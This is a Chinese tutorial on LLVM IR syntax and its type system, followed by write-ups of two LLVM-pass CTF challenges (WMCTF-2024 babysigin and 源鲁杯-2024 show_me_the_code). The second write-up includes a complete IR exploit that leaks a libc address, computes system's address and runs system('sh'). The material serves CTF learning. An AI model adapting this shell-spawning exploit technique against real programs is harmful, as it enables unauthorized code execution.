llvm中ll文件解读
字数 1355 2025-08-20 18:17:53
LLVM IR (LL文件) 深入解析与实战应用
一、LLVM IR基础语法
1.1 变量表示
- 全局变量:以
@符号开头,如@global_var - 局部变量:以
%符号开头,如%local_var
1.2 内存分配指令
- alloca:在当前函数的堆栈帧中分配内存,函数返回时自动释放
%ptr = alloca i32, align 4
1.3 数据类型
- i32:32位(4字节)整数类型
- 对齐(align):指定内存对齐方式
%var = alloca i32, align 8 ; 8字节对齐
1.4 内存操作指令
- load:从内存读取数据
%val = load i32, i32* %ptr, align 4 - store:向内存写入数据
store i32 42, i32* %ptr, align 4
1.5 控制流指令
- icmp:整数比较,返回布尔值
%cmp = icmp eq i32 %a, %b - br:分支跳转
br i1 %cond, label %if_true, label %if_false - label:代码标签,用于标记基本块
label_name:
1.6 函数调用
- call:调用函数
%result = call i32 @func(i32 %arg)
二、LLVM IR类型系统
2.1 重要类型类
- CallInst:表示函数调用指令
- LoadInst:对应LLVM IR中的load指令
- StoreInst:对应LLVM IR中的store指令
2.2 类型转换与检查
- llvm::dyn_cast:动态类型转换和检查
if (auto *load = dyn_cast<LoadInst>(value)) { // 处理LoadInst }
三、实战案例分析
3.1 WMCTF-2024 babysigin题目分析
3.1.1 关键函数要求
-
WMCTF_WRITE:
- 参数必须通过LoadInst传递
- 参数必须是全局变量
- 正确示例:
@cmd = dso_local global i32 34952, align 4 %1 = load i32, i32* @cmd, align 4 call void @WMCTF_WRITE(i32 noundef %1)
-
WMCTF_OPEN:
- 参数必须是LoadInst类型
- 参数名必须包含".addr"
- 需要通过多层函数调用传递
3.1.2 解决方案
char *filename = "./flag";
char *flag = "./flag";
int cmd = 0x8888;
void func0(char *name) {
WMCTF_OPEN(filename);
}
void func1(char *name) {
func0(filename);
}
void func2(char *name) {
func1(filename);
}
void func3(char *name) {
func2(filename);
}
void func4(char *name) {
flag = "./flag";
func3(flag);
}
对应的LLVM IR关键部分:
@.str = private unnamed_addr constant [7 x i8] c"./flag\00", align 1
@.addr = dso_local global i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i32 0, i32 0), align 8
define dso_local void @func0(i8* noundef %0) {
%2 = alloca i8*, align 8
store i8* %0, i8** %2, align 8
%3 = load i8*, i8** @.addr, align 8
call void @WMCTF_OPEN(i8* noundef %3)
ret void
}
3.2 源鲁杯-2024 show_me_the_code题目分析
3.2.1 关键结构体
class edoc {
public:
void addi(unsigned char x, int y, int z); // regs[x] = y + z
void chgr(unsigned char x, int y); // regs[x] += y (一次性)
void sftr(unsigned char x, bool y, unsigned char z); // 移位操作
void borr(unsigned char x, unsigned char y, unsigned char z); // 位或操作
void movr(unsigned char x, unsigned char y); // 寄存器移动
void save(unsigned char x, unsigned int y); // 内存存储
void load(unsigned char x, unsigned int y); // 内存加载
void runc(unsigned char x, unsigned int y); // 函数调用
};
3.2.2 利用思路
- 使用
movr控制reg[6](mmap地址) - 使用
load实现任意地址读取 - 通过移位和算术运算计算system地址
- 使用
runc执行system("sh")
3.2.3 完整利用代码
define dso_local void @_Z10c0deVmMainv() {
; ... (初始化操作)
; 获取__cxa_atexit地址
call void @_ZN4edoc4loadEhj(%class.edoc* %9, i8 signext 2, i32 104)
; 计算system地址
call void @_ZN4edoc4sftrEhbh(%class.edoc* %11, i8 signext 2, i1 zeroext true, i8 signext 44)
call void @_ZN4edoc4sftrEhbh(%class.edoc* %12, i8 signext 2, i1 zeroext false, i8 signext 44)
call void @_ZN4edoc4sftrEhbh(%class.edoc* %13, i8 signext 2, i1 zeroext false, i8 signext 12)
call void @_ZN4edoc4chgrEhi(%class.edoc* %14, i8 signext 2, i32 11)
call void @_ZN4edoc4sftrEhbh(%class.edoc* %15, i8 signext 2, i1 zeroext true, i8 signext 12)
call void @_ZN4edoc4addiEhii(%class.edoc* %16, i8 signext 3, i32 3440, i32 0)
call void @_ZN4edoc4borrEhhh(%class.edoc* %17, i8 signext 2, i8 signext 2, i8 signext 3)
; 准备调用system("sh")
call void @_ZN4edoc4saveEhj(%class.edoc* %23, i8 signext 4, i32 0)
call void @_ZN4edoc4addiEhii(%class.edoc* %24, i8 signext 5, i32 26739, i32 0)
call void @_ZN4edoc4saveEhj(%class.edoc* %25, i8 signext 5, i32 8)
call void @_ZN4edoc4runcEhj(%class.edoc* %28, i8 signext 0, i32 0)
ret void
}
四、调试与分析技巧
-
动态调试:
- 使用gdb调试LLVM IR生成的程序
- 关键断点设置:
b *$rebase(0x1417)
-
逆向分析:
- 使用IDA Pro分析LLVM IR生成的二进制
- 关注关键函数调用和类型检查
-
LLVM IR生成:
clang -emit-llvm -S test.c -o test.ll opt -load ./WMCTF.so -WMCTF -enable-new-pm=0 ./test.ll
五、常见问题与解决方案
-
LoadInst要求:
- 问题:直接传递常量不满足LoadInst要求
- 解决:先定义全局变量再传递
int cmd = 0x8888; WMCTF_WRITE(cmd); // 正确 WMCTF_WRITE(0x8888); // 错误
-
结构体名称检查:
- 问题:需要特定结构体名称(如class.edoc)
- 解决:修改LLVM IR中的类型定义
%class.edoc = type { i32 } ; 替换所有struct.opcode
-
递归调用深度:
- 问题:WMCTF_OPEN需要特定调用深度
- 解决:设计多层包装函数
void func3() { func2(); } void func2() { func1(); } void func1() { WMCTF_OPEN(); }
六、总结与最佳实践
-
LLVM IR编程要点:
- 明确区分全局和局部变量
- 注意内存操作必须通过load/store
- 理解类型系统的严格检查
-
CTF挑战技巧:
- 动态调试获取关键数据(如vmkey)
- 仔细分析类型检查逻辑
- 必要时手动修改LLVM IR
-
性能考虑:
- 合理使用对齐(align)提升内存访问效率
- 减少不必要的类型转换
- 优化控制流结构
通过深入理解LLVM IR的语法和类型系统,结合实战中的调试和分析技巧,可以有效解决基于LLVM的各类逆向和漏洞利用挑战。关键是要掌握LLVM IR与高级语言之间的对应关系,以及LLVM严格的类型检查机制。